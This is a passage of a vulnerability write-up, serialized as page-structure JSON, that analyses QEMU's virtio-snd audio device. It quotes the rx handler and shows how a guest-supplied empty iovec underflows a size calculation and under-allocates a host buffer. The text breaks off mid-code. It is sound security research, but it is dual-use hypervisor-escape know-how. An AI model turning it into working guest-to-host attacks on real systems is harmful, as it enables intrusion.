allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":25,"tag":26,"props":136196,"children":136197},{},[136198,136200,136206],{"type":30,"value":136199},"For example, the following is ",{"type":25,"tag":264,"props":136201,"children":136203},{"className":136202},[],[136204],{"type":30,"value":136205},"virtio_snd_handle_rx_xfer",{"type":30,"value":136207},", which is responsible for allocating buffers for an input audio stream:",{"type":25,"tag":7764,"props":136209,"children":136211},{"code":136210,"language":13243,"meta":7,"className":29637,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[136212],{"type":25,"tag":264,"props":136213,"children":136214},{"__ignoreMap":7},[136215,136222,136230,136238,136245,136253,136261,136269,136317,136324,136341,136348,136355,136367,136384,136391,136427,136447,136458,136465,136472,136480,136487,136520,136579,136597,136636,136661,136685,136713,136740,136778,136785,136797,136804,136811],{"type":25,"tag":271,"props":136216,"children":136217},{"class":13593,"line":13594},[136218],{"type":25,"tag":271,"props":136219,"children":136220},{"style":14385},[136221],{"type":30,"value":62482},{"type":25,"tag":271,"props":136223,"children":136224},{"class":13593,"line":11641},[136225],{"type":25,"tag":271,"props":136226,"children":136227},{"style":14385},[136228],{"type":30,"value":136229}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":25,"tag":271,"props":136231,"children":136232},{"class":13593,"line":14354},[136233],{"type":25,"tag":271,"props":136234,"children":136235},{"style":14385},[136236],{"type":30,"value":136237}," * respective streams for consumption.\n",{"type":25,"tag":271,"props":136239,"children":136240},{"class":13593,"line":14391},[136241],{"type":25,"tag":271,"props":136242,"children":136243},{"style":14385},[136244],{"type":30,"value":32609},{"type":25,"tag":271,"props":136246,"children":136247},{"class":13593,"line":14400},[136248],{"type":25,"tag":271,"props":136249,"children":136250},{"style":14385},[136251],{"type":30,"value":136252}," * @vdev: VirtIOSound device\n",{"type":25,"tag":271,"props":136254,"children":136255},{"class":13593,"line":16406},[136256],{"type":25,"tag":271,"props":136257,"children":136258},{"style":14385},[136259],{"type":30,"value":136260}," * @vq: rx virtqueue\n",{"type":25,"tag":271,"props":136262,"children":136263},{"class":13593,"line":16434},[136264],{"type":25,"tag":271,"props":136265,"children":136266},{"style":14385},[136267],{"type":30,"value":136268}," */\n",{"type":25,"tag":271,"props":136270,"children":136271},{"class":13593,"line":16447},[136272,136276,136280,136285,136290,136294,136299,136304,136308,136313],{"type":25,"tag":271,"props":136273,"children":136274},{"style":14289},[136275],{"type":30,"value":64160},{"type":25,"tag":271,"props":136277,"children":136278},{"style":14289},[136279],{"type":30,"value":64165},{"type":25,"tag":271,"props":136281,"children":136282},{"style":13620},[136283],{"type":30,"value":136284}," virtio_snd_handle_rx_xfer",{"type":25,"tag":271,"props":136286,"children":136287},{"style":13625},[136288],{"type":30,"value":136289},"(VirtIODevice ",{"type":25,"tag":271,"props":136291,"children":136292},{"style":13603},[136293],{"type":30,"value":17702},{"type":25,"tag":271,"props":136295,"children":136296},{"style":13598},[136297],{"type":30,"value":136298},"vdev",{"type":25,"tag":271,"props":136300,"children":136301},{"style":13625},[136302],{"type":30,"value":136303},", VirtQueue ",{"type":25,"tag":271,"props":136305,"children":136306},{"style":13603},[136307],{"type":30,"value":17702},{"type":25,"tag":271,"props":136309,"children":136310},{"style":13598},[136311],{"type":30,"value":136312},"vq",{"type":25,"tag":271,"props":136314,"children":136315},{"style":13625},[136316],{"type":30,"value":16299},{"type":25,"tag":271,"props":136318,"children":136319},{"class":13593,"line":16465},[136320],{"type":25,"tag":271,"props":136321,"children":136322},{"style":13625},[136323],{"type":30,"value":24005},{"type":25,"tag":271,"props":136325,"children":136326},{"class":13593,"line":16486},[136327,136332,136336],{"type":25,"tag":271,"props":136328,"children":136329},{"style":13625},[136330],{"type":30,"value":136331},"    VirtQueueElement ",{"type":25,"tag":271,"props":136333,"children":136334},{"style":13603},[136335],{"type":30,"value":17702},{"type":25,"tag":271,"props":136337,"children":136338},{"style":13625},[136339],{"type":30,"value":136340},"elem;\n",{"type":25,"tag":271,"props":136342,"children":136343},{"class":13593,"line":16495},[136344],{"type":25,"tag":271,"props":136345,"children":136346},{"style":13625},[136347],{"type":30,"value":117894},{"type":25,"tag":271,"props":136349,"children":136350},{"class":13593,"line":16744},[136351],{"type":25,"tag":271,"props":136352,"children":136353},{"emptyLinePlaceholder":18},[136354],{"type":30,"value":16829},{"type":25,"tag":271,"props":136356,"children":136357},{"class":13593,"line":16761},[136358,136362],{"type":25,"tag":271,"props":136359,"children":136360},{"style":16171},[136361],{"type":30,"value":16174},{"type":25,"tag":271,"props":136363,"children":136364},{"style":13625},[136365],{"type":30,"value":136366}," (;;) {\n",{"type":25,"tag":271,"props":136368,"children":136369},{"class":13593,"line":16778},[136370,136375,136379],{"type":25,"tag":271,"props":136371,"children":136372},{"style":13625},[136373],{"type":30,"value":136374},"        VirtIOSoundPCMStream ",{"type":25,"tag":271,"props":136376,"children":136377},{"style":13603},[136378],{"type":30,"value":17702},{"type":25,"tag":271,"props":136380,"children":136381},{"style":13625},[136382],{"type":30,"value":136383},"stream;\n",{"type":25,"tag":271,"props":136385,"children":136386},{"class":13593,"line":16791},[136387],{"type":25,"tag":271,"props":136388,"children":136389},{"emptyLinePlaceholder":18},[136390],{"type":30,"value":16829},{"type":25,"tag":271,"props":136392,"children":136393},{"class":13593,"line":16800},[136394,136399,136403,136408,136413,136417,136422],{"type":25,"tag":271,"props":136395,"children":136396},{"style":13625},[136397],{"type":30,"value":136398},"        elem ",{"type":25,"tag":271,"props":136400,"children":136401},{"style":13603},[136402],{"type":30,"value":1065},{"type":25,"tag":271,"props":136404,"children":136405},{"style":13620},[136406],{"type":30,"value":136407}," virtqueue_pop",{"type":25,"tag":271,"props":136409,"children":136410},{"style":13625},[136411],{"type":30,"value":136412},"(vq, ",{"type":25,"tag":271,"props":136414,"children":136415},{"style":14289},[136416],{"type":30,"value":68444},{"type":25,"tag":271,"props":136418,"children":136419},{"style":13625},[136420],{"type":30,"value":136421},"(VirtQueueElement));",{"type":25,"tag":271,"props":136423,"children":136424},{"style":14385},[136425],{"type":30,"value":136426},"     // [1]\n",{"type":25,"tag":271,"props":136428,"children":136429},{"class":13593,"line":16823},[136430,136434,136438,136442],{"type":25,"tag":271,"props":136431,"children":136432},{"style":16171},[136433],{"type":30,"value":16412},{"type":25,"tag":271,"props":136435,"children":136436},{"style":13625},[136437],{"type":30,"value":16213},{"type":25,"tag":271,"props":136439,"children":136440},{"style":13603},[136441],{"type":30,"value":33742},{"type":25,"tag":271,"props":136443,"children":136444},{"style":13625},[136445],{"type":30,"value":136446},"elem) {\n",{"type":25,"tag":271,"props":136448,"children":136449},{"class":13593,"line":16832},[136450,136454],{"type":25,"tag":271,"props":136451,"children":136452},{"style":16171},[136453],{"type":30,"value":16440},{"type":25,"tag":271,"props":136455,"children":136456},{"style":13625},[136457],{"type":30,"value":16165},{"type":25,"tag":271,"props":136459,"children":136460},{"class":13593,"line":16841},[136461],{"type":25,"tag":271,"props":136462,"children":136463},{"style":13625},[136464],{"type":30,"value":16492},{"type":25,"tag":271,"props":136466,"children":136467},{"class":13593,"line":16907},[136468],{"type":25,"tag":271,"props":136469,"children":136470},{"emptyLinePlaceholder":18},[136471],{"type":30,"value":16829},{"type":25,"tag":271,"props":136473,"children":136474},{"class":13593,"line":16915},[136475],{"type":25,"tag":271,"props":136476,"children":136477},{"style":13625},[136478],{"type":30,"value":136479},"        [...]\n",{"type":25,"tag":271,"props":136481,"children":136482},{"class":13593,"line":16945},[136483],{"type":25,"tag":271,"props":136484,"children":136485},{"emptyLinePlaceholder":18},[136486],{"type":30,"value":16829},{"type":25,"tag":271,"props":136488,"children":136489},{"class":13593,"line":16953},[136490,136495,136499,136503,136507,136511,136516],{"type":25,"tag":271,"props":136491,"children":136492},{"style":13620},[136493],{"type":30,"value":136494},"        WITH_QEMU_LOCK_GUARD",{"type":25,"tag":271,"props":136496,"children":136497},{"style":13625},[136498],{"type":30,"value":394},{"type":25,"tag":271,"props":136500,"children":136501},{"style":13603},[136502],{"type":30,"value":13632},{"type":25,"tag":271,"props":136504,"children":136505},{"style":13598},[136506],{"type":30,"value":49373},{"type":25,"tag":271,"props":136508,"children":136509},{"style":13625},[136510],{"type":30,"value":14411},{"type":25,"tag":271,"props":136512,"children":136513},{"style":13598},[136514],{"type":30,"value":136515},"queue_mutex",{"type":25,"tag":271,"props":136517,"children":136518},{"style":13625},[136519],{"type":30,"value":27925},{"type":25,"tag":271,"props":136521,"children":136522},{"class":13593,"line":16984},[136523,136528,136532,136537,136541,136545,136549,136554,136558,136562,136566,136571,136575],{"type":25,"tag":271,"props":136524,"children":136525},{"style":13625},[136526],{"type":30,"value":136527},"            size ",{"type":25,"tag":271,"props":136529,"children":136530},{"style":13603},[136531],{"type":30,"value":1065},{"type":25,"tag":271,"props":136533,"children":136534},{"style":13620},[136535],{"type":30,"value":136536}," iov_size",{"type":25,"tag":271,"props":136538,"children":136539},{"style":13625},[136540],{"type":30,"value":394},{"type":25,"tag":271,"props":136542,"children":136543},{"style":13598},[136544],{"type":30,"value":65180},{"type":25,"tag":271,"props":136546,"children":136547},{"style":13625},[136548],{"type":30,"value":14411},{"type":25,"tag":271,"props":136550,"children":136551},{"style":13598},[136552],{"type":30,"value":136553},"in_sg",{"type":25,"tag":271,"props":136555,"children":136556},{"style":13625},[136557],{"type":30,"value":44},{"type":25,"tag":271,"props":136559,"children":136560},{"style":13598},[136561],{"type":30,"value":65180},{"type":25,"tag":271,"props":136563,"children":136564},{"style":13625},[136565],{"type":30,"value":14411},{"type":25,"tag":271,"props":136567,"children":136568},{"style":13598},[136569],{"type":30,"value":136570},"in_num",{"type":25,"tag":271,"props":136572,"children":136573},{"style":13625},[136574],{"type":30,"value":14406},{"type":25,"tag":271,"props":136576,"children":136577},{"style":13603},[136578],{"type":30,"value":63977},{"type":25,"tag":271,"props":136580,"children":136581},{"class":13593,"line":16992},[136582,136587,136592],{"type":25,"tag":271,"props":136583,"children":136584},{"style":14289},[136585],{"type":30,"value":136586},"                sizeof",{"type":25,"tag":271,"props":136588,"children":136589},{"style":13625},[136590],{"type":30,"value":136591},"(virtio_snd_pcm_status);",{"type":25,"tag":271,"props":136593,"children":136594},{"style":14385},[136595],{"type":30,"value":136596},"                  // [2]\n",{"type":25,"tag":271,"props":136598,"children":136599},{"class":13593,"line":17052},[136600,136605,136609,136614,136618,136622,136627,136631],{"type":25,"tag":271,"props":136601,"children":136602},{"style":13625},[136603],{"type":30,"value":136604},"            buffer ",{"type":25,"tag":271,"props":136606,"children":136607},{"style":13603},[136608],{"type":30,"value":1065},{"type":25,"tag":271,"props":136610,"children":136611},{"style":13620},[136612],{"type":30,"value":136613}," g_malloc0",{"type":25,"tag":271,"props":136615,"children":136616},{"style":13625},[136617],{"type":30,"value":394},{"type":25,"tag":271,"props":136619,"children":136620},{"style":14289},[136621],{"type":30,"value":68444},{"type":25,"tag":271,"props":136623,"children":136624},{"style":13625},[136625],{"type":30,"value":136626},"(VirtIOSoundPCMBuffer) ",{"type":25,"tag":271,"props":136628,"children":136629},{"style":13603},[136630],{"type":30,"value":2074},{"type":25,"tag":271,"props":136632,"children":136633},{"style":13625},[136634],{"type":30,"value":136635}," size);\n",{"type":25,"tag":271,"props":136637,"children":136638},{"class":13593,"line":22168},[136639,136644,136648,136652,136656],{"type":25,"tag":271,"props":136640,"children":136641},{"style":13598},[136642],{"type":30,"value":136643},"            buffer",{"type":25,"tag":271,"props":136645,"children":136646},{"style":13625},[136647],{"type":30,"value":14411},{"type":25,"tag":271,"props":136649,"children":136650},{"style":13598},[136651],{"type":30,"value":65180},{"type":25,"tag":271,"props":136653,"children":136654},{"style":13603},[136655],{"type":30,"value":16155},{"type":25,"tag":271,"props":136657,"children":136658},{"style":13625},[136659],{"type":30,"value":136660}," elem;\n",{"type":25,"tag":271,"props":136662,"children":136663},{"class":13593,"line":22186},[136664,136668,136672,136676,136680],{"type":25,"tag":271,"props":136665,"children":136666},{"style":13598},[136667],{"type":30,"value":136643},{"type":25,"tag":271,"props":136669,"children":136670},{"style":13625},[136671],{"type":30,"value":14411},{"type":25,"tag":271,"props":136673,"children":136674},{"style":13598},[136675],{"type":30,"value":136312},{"type":25,"tag":271,"props":136677,"children":136678},{"style":13603},[136679],{"type":30,"value":16155},{"type":25,"tag":271,"props":136681,"children":136682},{"style":13625},[136683],{"type":30,"value":136684}," vq;\n",{"type":25,"tag":271,"props":136686,"children":136687},{"class":13593,"line":22231},[136688,136692,136696,136701,136705,136709],{"type":25,"tag":271,"props":136689,"children":136690},{"style":13598},[136691],{"type":30,"value":136643},{"type":25,"tag":271,"props":136693,"children":136694},{"style":13625},[136695],{"type":30,"value":14411},{"type":25,"tag":271,"props":136697,"children":136698},{"style":13598},[136699],{"type":30,"value":136700},"size",{"type":25,"tag":271,"props":136702,"children":136703},{"style":13603},[136704],{"type":30,"value":16155},{"type":25,"tag":271,"props":136706,"children":136707},{"style":16187},[136708],{"type":30,"value":16190},{"type":25,"tag":271,"props":136710,"children":136711},{"style":13625},[136712],{"type":30,"value":16165},{"type":25,"tag":271,"props":136714,"children":136715},{"class":13593,"line":22337},[136716,136720,136724,136728,136732,136736],{"type":25,"tag":271,"props":136717,"children":136718},{"style":13598},[136719],{"type":30,"value":136643},{"type":25,"tag":271,"props":136721,"children":136722},{"style":13625},[136723],{"type":30,"value":14411},{"type":25,"tag":271,"props":136725,"children":136726},{"style":13598},[136727],{"type":30,"value":27022},{"type":25,"tag":271,"props":136729,"children":136730},{"style":13603},[136731],{"type":30,"value":16155},{"type":25,"tag":271,"props":136733,"children":136734},{"style":16187},[136735],{"type":30,"value":16190},{"type":25,"tag":271,"props":136737,"children":136738},{"style":13625},[136739],{"type":30,"value":16165},{"type":25,"tag":271,"props":136741,"children":136742},{"class":13593,"line":36608},[136743,136748,136752,136756,136760,136764,136769,136774],{"type":25,"tag":271,"props":136744,"children":136745},{"style":13620},[136746],{"type":30,"value":136747},"            QSIMPLEQ_INSERT_TAIL",{"type":25,"tag":271,"props":136749,"children":136750},{"style":13625},[136751],{"type":30,"value":394},{"type":25,"tag":271,"props":136753,"children":136754},{"style":13603},[136755],{"type":30,"value":13632},{"type":25,"tag":271,"props":136757,"children":136758},{"style":13598},[136759],{"type":30,"value":49373},{"type":25,"tag":271,"props":136761,"children":136762},{"style":13625},[136763],{"type":30,"value":14411},{"type":25,"tag":271,"props":136765,"children":136766},{"style":13598},[136767],{"type":30,"value":136768},"queue",{"type":25,"tag":271,"props":136770,"children":136771},{"style":13625},[136772],{"type":30,"value":136773},", buffer, entry);",{"type":25,"tag":271,"props":136775,"children":136776},{"style":14385},[136777],{"type":30,"value":65745},{"type":25,"tag":271,"props":136779,"children":136780},{"class":13593,"line":36643},[136781],{"type":25,"tag":271,"props":136782,"children":136783},{"style":13625},[136784],{"type":30,"value":16492},{"type":25,"tag":271,"props":136786,"children":136787},{"class":13593,"line":36651},[136788,136793],{"type":25,"tag":271,"props":136789,"children":136790},{"style":16171},[136791],{"type":30,"value":136792},"        continue",{"type":25,"tag":271,"props":136794,"children":136795},{"style":13625},[136796],{"type":30,"value":16165},{"type":25,"tag":271,"props":136798,"children":136799},{"class":13593,"line":36659},[136800],{"type":25,"tag":271,"props":136801,"children":136802},{"emptyLinePlaceholder":18},[136803],{"type":30,"value":16829},{"type":25,"tag":271,"props":136805,"children":136806},{"class":13593,"line":36668},[136807],{"type":25,"tag":271,"props":136808,"children":136809},{"style":13625},[136810],{"type":30,"value":136479},{"type":25,"tag":271,"props":136812,"children":136813},{"class":13593,"line":36710},[136814],{"type":25,"tag":271,"props":136815,"children":136816},{"style":13625},[136817],{"type":30,"value":17058},{"type":25,"tag":26,"props":136819,"children":136820},{},[136821,136823,136829,136831,136837,136839,136844,136845,136851],{"type":30,"value":136822},"At ",{"type":25,"tag":264,"props":136824,"children":136826},{"className":136825},[],[136827],{"type":30,"value":136828},"[1]",{"type":30,"value":136830},", a ",{"type":25,"tag":264,"props":136832,"children":136834},{"className":136833},[],[136835],{"type":30,"value":136836},"VirtQueueElement *elem",{"type":30,"value":136838}," is popped from the virtqueue. It contains the ",{"type":25,"tag":264,"props":136840,"children":136842},{"className":136841},[],[136843],{"type":30,"value":136553},{"type":30,"value":12218},{"type":25,"tag":264,"props":136846,"children":136848},{"className":136847},[],[136849],{"type":30,"value":136850},"out_sg",{"type":30,"value":136852}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":25,"tag":26,"props":136854,"children":136855},{},[136856,136858,136864,136866,136872,136874,136880,136882,136888,136890,136896],{"type":30,"value":136857},"Further at ",{"type":25,"tag":264,"props":136859,"children":136861},{"className":136860},[],[136862],{"type":30,"value":136863},"[2]",{"type":30,"value":136865},", the device computes the size of the data buffer as ",{"type":25,"tag":264,"props":136867,"children":136869},{"className":136868},[],[136870],{"type":30,"value":136871},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":30,"value":136873},". That value is then used in the allocation: ",{"type":25,"tag":264,"props":136875,"children":136877},{"className":136876},[],[136878],{"type":30,"value":136879},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":30,"value":136881},". Finally, at ",{"type":25,"tag":264,"props":136883,"children":136885},{"className":136884},[],[136886],{"type":30,"value":136887},"[3]",{"type":30,"value":136889},", the newly allocated buffer is appended to the ",{"type":25,"tag":264,"props":136891,"children":136893},{"className":136892},[],[136894],{"type":30,"value":136895},"stream->queue",{"type":30,"value":136897}," linked list.",{"type":25,"tag":26,"props":136899,"children":136900},{},[136901,136903,136908,136910,136915,136917,136922,136924,136930],{"type":30,"value":136902},"Because both the ",{"type":25,"tag":264,"props":136904,"children":136906},{"className":136905},[],[136907],{"type":30,"value":136553},{"type":30,"value":136909}," iovec and the ",{"type":25,"tag":264,"props":136911,"children":136913},{"className":136912},[],[136914],{"type":30,"value":136570},{"type":30,"value":136916}," field are guest-controlled, and there is no check that the total ",{"type":25,"tag":264,"props":136918,"children":136920},{"className":136919},[],[136921],{"type":30,"value":136553},{"type":30,"value":136923}," size is at least ",{"type":25,"tag":264,"props":136925,"children":136927},{"className":136926},[],[136928],{"type":30,"value":136929},"sizeof(virtio_snd_pcm_status)",{"type":30,"value":136931},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":25,"tag":26,"props":136933,"children":136934},{},[136935,136937,136942,136944,136950,136952,136958,136960,136966],{"type":30,"value":136936},"From the guest driver, we can provide an empty ",{"type":25,"tag":264,"props":136938,"children":136940},{"className":136939},[],[136941],{"type":30,"value":136553},{"type":30,"value":136943}," iovec. In that case, the calculation becomes ",{"type":25,"tag":264,"props":136945,"children":136947},{"className":136946},[],[136948],{"type":30,"value":136949},"0 - sizeof(virtio_snd_pcm_status)",{"type":30,"value":136951},", so the allocation size effectively becomes ",{"type":25,"tag":264,"props":136953,"children":136955},{"className":136954},[],[136956],{"type":30,"value":136957},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":30,"value":136959},". Given the definition of ",{"type":25,"tag":264,"props":136961,"children":136963},{"className":136962},[],[136964],{"type":30,"value":136965},"VirtIOSoundPCMBuffer",{"type":30,"value":359},{"type":25,"tag":7764,"props":136968,"children":136970},{"code":136969,"language":13243,"meta":7,"className":29637,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[136971],{"type":25,"tag":264,"props":136972,"children":136973},{"__ignoreMap":7},[136974,136986,136999,137014,137031,137043,137055,137063,137075,137095],{"type":25,"tag":271,"props":136975,"children":136976},{"class":13593,"line":13594},[136977,136981],{"type":25,"tag":271,"props":136978,"children":136979},{"style":14289},[136980],{"type":30,"value":22524},{"type":25,"tag":271,"props":136982,"children":136983},{"style":13625},[136984],{"type":30,"value":136985}," VirtIOSoundPCMBuffer {\n",{"type":25,"tag":271,"props":136987,"children":136988},{"class":13593,"line":11641},[136989,136994],{"type":25,"tag":271,"props":136990,"children":136991},{"style":13620},[136992],{"type":30,"value":136993},"    QSIMPLEQ_ENTRY",{"type":25,"tag":271,"props":136995,"children":136996},{"style":13625},[136997],{"type":30,"value":136998},"(VirtIOSoundPCMBuffer) entry;\n",{"type":25,"tag":271,"props":137000,"children":137001},{"class":13593,"line":14354},[137002,137006,137010],{"type":25,"tag":271,"props":137003,"children":137004},{"style":13625},[137005],{"type":30,"value":136331},{"type":25,"tag":271,"props":137007,"children":137008},{"style":13603},[137009],{"type":30,"value":17702},{"type":25,"tag":271,"props":137011,"children":137012},{"style":13625},[137013],{"type":30,"value":136340},{"type":25,"tag":271,"props":137015,"children":137016},{"class":13593,"line":14391},[137017,137022,137026],{"type":25,"tag":271,"props":137018,"children":137019},{"style":13625},[137020],{"type":30,"value":137021},"    VirtQueue ",{"type":25,"tag":271,"props":137023,"children":137024},{"style":13603},[137025],{"type":30,"value":17702},{"type":25,"tag":271,"props":137027,"children":137028},{"style":13625},[137029],{"type":30,"value":137030},"vq;\n",{"type":25,"tag":271,"props":137032,"children":137033},{"class":13593,"line":14400},[137034,137038],{"type":25,"tag":271,"props":137035,"children":137036},{"style":14289},[137037],{"type":30,"value":29687},{"type":25,"tag":271,"props":137039,"children":137040},{"style":13625},[137041],{"type":30,"value":137042}," size;\n",{"type":25,"tag":271,"props":137044,"children":137045},{"class":13593,"line":16406},[137046,137050],{"type":25,"tag":271,"props":137047,"children":137048},{"style":14289},[137049],{"type":30,"value":68729},{"type":25,"tag":271,"props":137051,"children":137052},{"style":13625},[137053],{"type":30,"value":137054}," offset;\n",{"type":25,"tag":271,"props":137056,"children":137057},{"class":13593,"line":16434},[137058],{"type":25,"tag":271,"props":137059,"children":137060},{"style":14385},[137061],{"type":30,"value":137062},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":25,"tag":271,"props":137064,"children":137065},{"class":13593,"line":16447},[137066,137070],{"type":25,"tag":271,"props":137067,"children":137068},{"style":14289},[137069],{"type":30,"value":59588},{"type":25,"tag":271,"props":137071,"children":137072},{"style":13625},[137073],{"type":30,"value":137074}," populated;\n",{"type":25,"tag":271,"props":137076,"children":137077},{"class":13593,"line":16465},[137078,137082,137086,137091],{"type":25,"tag":271,"props":137079,"children":137080},{"style":14289},[137081],{"type":30,"value":71572},{"type":25,"tag":271,"props":137083,"children":137084},{"style":13625},[137085],{"type":30,"value":28226},{"type":25,"tag":271,"props":137087,"children":137088},{"style":14289},[137089],{"type":30,"value":137090},"[]",{"type":25,"tag":271,"props":137092,"children":137093},{"style":13625},[137094],{"type":30,"value":16165},{"type":25,"tag":271,"props":137096,"children":137097},{"class":13593,"line":16486},[137098],{"type":25,"tag":271,"props":137099,"children":137100},{"style":13625},[137101],{"type":30,"value":29700},{"type":25,"tag":26,"props":137103,"children":137104},{},[137105,137107,137113,137115,137120,137122,137127,137129,137134,137136,137141,137143,137149],{"type":30,"value":137106},"That under-allocation removes the ",{"type":25,"tag":264,"props":137108,"children":137110},{"className":137109},[],[137111],{"type":30,"value":137112},"populated",{"type":30,"value":137114}," field along with the variable-sized ",{"type":25,"tag":264,"props":137116,"children":137118},{"className":137117},[],[137119],{"type":30,"value":10346},{"type":30,"value":137121}," array. As the comment says, ",{"type":25,"tag":264,"props":137123,"children":137125},{"className":137124},[],[137126],{"type":30,"value":137112},{"type":30,"value":137128}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":25,"tag":264,"props":137130,"children":137132},{"className":137131},[],[137133],{"type":30,"value":968},{"type":30,"value":137135},", the device believes data should be ",{"type":25,"tag":264,"props":137137,"children":137139},{"className":137138},[],[137140],{"type":30,"value":968},{"type":30,"value":137142}," byte, while the actual allocation is ",{"type":25,"tag":264,"props":137144,"children":137146},{"className":137145},[],[137147],{"type":30,"value":137148},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":30,"value":1860},{"type":25,"tag":2352,"props":137151,"children":137153},{"id":137152},"populating-data-buffers",[137154],{"type":30,"value":137155},"Populating Data Buffers",{"type":25,"tag":26,"props":137157,"children":137158},{},[137159],{"type":30,"value":137160},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":25,"tag":7764,"props":137162,"children":137164},{"code":137163,"language":13243,"meta":7,"className":29637,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[137165],{"type":25,"tag":264,"props":137166,"children":137167},{"__ignoreMap":7},[137168,137175,137183,137190,137198,137206,137213,137262,137269,137295,137312,137324,137331,137363,137408,137448,137455,137463,137470,137495,137523,137547,137555,137567,137605,137618,137630,137637,137683,137720,137763,137784,137804,137824,137835,137842,137865,137881,137889,137896,137903,137910],{"type":25,"tag":271,"props":137169,"children":137170},{"class":13593,"line":13594},[137171],{"type":25,"tag":271,"props":137172,"children":137173},{"style":14385},[137174],{"type":30,"value":62482},{"type":25,"tag":271,"props":137176,"children":137177},{"class":13593,"line":11641},[137178],{"type":25,"tag":271,"props":137179,"children":137180},{"style":14385},[137181],{"type":30,"value":137182}," * AUD_* input callback.\n",{"type":25,"tag":271,"props":137184,"children":137185},{"class":13593,"line":14354},[137186],{"type":25,"tag":271,"props":137187,"children":137188},{"style":14385},[137189],{"type":30,"value":32609},{"type":25,"tag":271,"props":137191,"children":137192},{"class":13593,"line":14391},[137193],{"type":25,"tag":271,"props":137194,"children":137195},{"style":14385},[137196],{"type":30,"value":137197}," * @data: VirtIOSoundPCMStream stream\n",{"type":25,"tag":271,"props":137199,"children":137200},{"class":13593,"line":14400},[137201],{"type":25,"tag":271,"props":137202,"children":137203},{"style":14385},[137204],{"type":30,"value":137205}," * @available: number of bytes that can be read with AUD_read()\n",{"type":25,"tag":271,"props":137207,"children":137208},{"class":13593,"line":16406},[137209],{"type":25,"tag":271,"props":137210,"children":137211},{"style":14385},[137212],{"type":30,"value":136268},{"type":25,"tag":271,"props":137214,"children":137215},{"class":13593,"line":16434},[137216,137220,137224,137229,137233,137237,137241,137245,137249,137253,137258],{"type":25,"tag":271,"props":137217,"children":137218},{"style":14289},[137219],{"type":30,"value":64160},{"type":25,"tag":271,"props":137221,"children":137222},{"style":14289},[137223],{"type":30,"value":64165},{"type":25,"tag":271,"props":137225,"children":137226},{"style":13620},[137227],{"type":30,"value":137228}," virtio_snd_pcm_in_cb",{"type":25,"tag":271,"props":137230,"children":137231},{"style":13625},[137232],{"type":30,"value":394},{"type":25,"tag":271,"props":137234,"children":137235},{"style":14289},[137236],{"type":30,"value":64743},{"type":25,"tag":271,"props":137238,"children":137239},{"style":13603},[137240],{"type":30,"value":22940},{"type":25,"tag":271,"props":137242,"children":137243},{"style":13598},[137244],{"type":30,"value":10346},{"type":25,"tag":271,"props":137246,"children":137247},{"style":13625},[137248],{"type":30,"value":44},{"type":25,"tag":271,"props":137250,"children":137251},{"style":14289},[137252],{"type":30,"value":32168},{"type":25,"tag":271,"props":137254,"children":137255},{"style":13598},[137256],{"type":30,"value":137257}," available",{"type":25,"tag":271,"props":137259,"children":137260},{"style":13625},[137261],{"type":30,"value":16299},{"type":25,"tag":271,"props":137263,"children":137264},{"class":13593,"line":16447},[137265],{"type":25,"tag":271,"props":137266,"children":137267},{"style":13625},[137268],{"type":30,"value":24005},{"type":25,"tag":271,"props":137270,"children":137271},{"class":13593,"line":16465},[137272,137277,137281,137286,137290],{"type":25,"tag":271,"props":137273,"children":137274},{"style":13625},[137275],{"type":30,"value":137276},"    VirtIOSoundPCMStream ",{"type":25,"tag":271,"props":137278,"children":137279},{"style":13603},[137280],{"type":30,"value":17702},{"type":25,"tag":271,"props":137282,"children":137283},{"style":13625},[137284],{"type":30,"value":137285},"stream 